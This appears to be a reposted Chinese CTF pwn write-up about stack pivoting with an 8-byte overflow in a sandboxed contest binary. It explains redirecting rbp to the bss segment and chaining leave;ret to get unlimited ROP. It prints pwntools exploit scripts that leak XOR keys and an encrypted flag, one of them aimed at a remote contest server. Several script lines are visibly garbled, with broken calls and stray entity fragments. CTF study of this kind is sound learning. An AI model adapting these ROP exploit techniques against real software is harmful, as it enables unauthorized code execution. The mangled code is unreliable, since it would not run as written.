某大学信息安全竞赛——栈迁移加强版——只溢出0x8,无限ROP

阅读: 评论:0

某大学信息安全竞赛——栈迁移加强版——只溢出0x8,无限ROP

某大学信息安全竞赛——栈迁移加强版——只溢出0x8,无限ROP

芝士题目:

链接: 
提取码:joj6

感悟:

之前我只做过溢出超过0x10这样的栈迁移,思路就是找机会去泄露栈空间的地址然后把栈迁移到我们可以控制的栈空间,亦或者迁移到堆空间,大概思路就是覆盖rbp为我们想要迁移到的地方,然后在溢出的位置填上leave ret。我之前做过的题目往往都有很多溢出空间,这也给我了很多地操作空间,但是这一题把我打得措手不及,一直也没太有思路,比赛结束后和师傅们交流,发现了新的东西(也许不是新的,但是我真的学到了很多)。

反编译:

 

这题目也开了沙箱,禁了open execve这些函数,shellcode直接凉,抬走,下一个 

暂且先不谈怎么拿到shell,就先看题目,其实漏洞很明显但又不太好利用,就是只溢出了0x8的字节空间,而且只有一个read溢出。按照以前的思路会在rip返回地址上填写leave_ret,但是这里很显然不是。所以我们要另辟蹊径。 

然后我学到一个很新的东西,就是直接在rbp的位置上填写bss段可写地址,然后在返回地址填上主函数自己的read,这样就可以把栈成功迁移到bss段了!

 这样这个RBP就被我们迁移到了bss段上。

但是我们注意观察以往的栈迁移,咱都是覆盖返回地址为leave _ret的,这样rsp和rbp都会在bss段上,因此我们需要再一次覆盖返回地址,再执行一次leave ret,使我们的rsp也迁移到栈上

io.recvuntil(b'wonderlandsnBefore you are leaving, leave your namen')
payload=b'a'*8*6+p64(0x404500)+p64(0x401686)
io.send(payload)
io.recv()
payload=b'a'*8*6+p64(0x404530)+p64(0x401686)
io.send(payload)
io.recv()

 这里的0x404530是因为如果观察汇编的话,你会发现程序read写入的地址都是rbp-0x30的一个位置。

ok,这样rsp 和rbp都被我们迁移到栈上了,接下来就是快乐的ROP了,但是要经过一次又一次的调试,准确地构造ROP!

注意注意!!我们一定要进入read函数里面!!!!不然会报错!!!

比如现在我们想要去泄露处flag的地址,ok,经过我们的反复调试,可以看到 rip的位置将会是rsp目前指向的一个位置。

 所以我们的目标就是要去填掉这里的rsp也是图的0x404508的位置,改成我们构造的ROP
比如这样:

payload=b'deadbeef'+p64(pop_rdi)+['puts'])+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()

ok,我们可以看到它执行了我们的构造的ROP输出了puts的真实地址并且又返回了我们的指定的地址
可能有人会好奇,为什么这里没有执行printf函数呢?我想的原因是read也是一个函数,我们进去read这个函数后,因为我们构造的ROP覆盖了read函数的返回地址,因此它就跳转了,不去执行接下来的printf("Good luck %sn", buf);这个函数了

当然这个问题不大,也不需要关心这个东西。

接下来也一样,就是ROP去泄露比如key的地址。

但是但是!!!!

这样构造的话rsp就会越来越靠近rbp,但是我们能控制到的只有0x40的字节,也就是说,如果rsp距离rbp太近,我们将无法正常的去执行我们的ROP链了,那咋办???

这就请到了我们的老朋友   leave_ret,我们利用leave_ret这个强有力的工具,给rsp来一个乾坤大挪移,咋整呢,比如现在这个情况。

由于我们只能控制从0x404500开始的0x40个字节,这rsp都杀到0x404538了。

然后我们构造一个ROP

leave_ret=0x40129f
payload=p64(0x404530)+p64(pop_rdi)+p64(flag_ad)+p64(elf.plt['puts'])+p64(0x401686)+p64(key_addr)+p64(0x404500)+p64(leave_ret)
io.send(payload)
io.recv()

这样就一不小心又把rsp给归位了,那之后就是继续操作啦,想做啥做啥,反正空间不够,继续leave_ret。

以上的东西都是我经过和师傅讨论自己去一步步调试总结出来的结果,希望大家喜欢,能学到东西。

这里附上EXP,还没结束,还没拿到flag呢。有机会继续写

from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64",log_level="debug")
pwnfile='./chall'
elf = ELF(pwnfile)
io = process(vuntil(b'wonderlandsnBefore you are leaving, leave your namen')
payload=b'a'*8*6+p64(0x404500)+p64(0x401686)
io.send(payload)
io.recv()
payload=b'a'*8*6+p64(0x404530)+p64(0x401686)
io.send(payload)
io.recv()
pop_rdi=0x401723
flag_ad=0x0404100
key_addr=0x4040B0
payload=b'deadbeef'+p64(pop_rdi)+['puts'])+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()payload=b'deadbeef'+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()leave_ret=0x40129f
payload=p64(0x404530)+p64(pop_rdi)+p64(flag_ad)+p64(elf.plt['puts'])+p64(0x401686)+p64(key_addr)+p64(0x404500)+p64(leave_ret)
io.send(payload)
io.recv()io.interactive()

 小伙伴有机会一定要去动手调试一下,很好玩滴。

更新一下,这是完整的exp:

from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64",log_level="debug")
pwnfile='./chall'
elf = ELF(pwnfile)
#io = process(pwnfile)
io=remote('1.12.48.154',vuntil(b'wonderlandsnBefore you are leaving, leave your namen')
payload=b'a'*8*6+p64(0x404500)+p64(0x401686)
io.send(payload)
io.recv()
payload=b'a'*8*6+p64(0x404530)+p64(0x401686)
io.send(payload)
io.recv()
pop_rdi=0x401723
flag_ad=0x0404100
key_addr=0x4040B0
payload=b'deadbeef'+p64(pop_rdi)+['puts'])+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()payload=b'deadbeef'+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)key1&#v(0x8)
key2&#v(0x8)
key3&#v(0x8)
real_key1=int.from_bytes(key1,byteorder='big')
key2=int.from_bytes(key2,byteorder='big')
real_key2=real_key1^key2
key3=int.from_bytes(key3,byteorder='big')
real_key3=key3^real_key2leave_ret=0x40129f
payload=p64(0x404530)+p64(pop_rdi)+p64(flag_ad)+p64(elf.plt['puts'])+p64(0x401686)+p64(key_addr)+p64(0x404500)+p64(leave_ret)
io.send(payload)
io.recvline()
flag1&#v(0x8)
flag2&#v(0x8)
flag3&#v(0x8)
flag4&#v(0x8)
flag5&#v(0x8)
flag6&#v(0x8)flag1=int.from_bytes(flag1,byteorder='big')
flag2=int.from_bytes(flag2,byteorder='big')
flag3=int.from_bytes(flag3,byteorder='big')
flag4=int.from_bytes(flag4,byteorder='big')
flag5=int.from_bytes(flag5,byteorder='big')
flag6=int.from_bytes(flag6,byteorder='big')real_flag1=flag1^real_key1
real_flag2=flag2^real_key2
real_flag3=flag3^real_key3
real_flag4=flag4^real_key1
real_flag5=flag5^real_key2
real_flag6=flag6^real_key3print(hex(real_flag1))
print(hex(real_flag2))
print(hex(real_flag3))
print(hex(real_flag4))
print(hex(real_flag5))
print(hex(real_flag6))io.interactive()

把这个转成对应阿斯克码对应的字母就行啦,就拿到flag啦! 

本文发布于:2024-01-28 11:14:44,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/17064116887027.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:信息安全   加强版   某大学   ROP
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23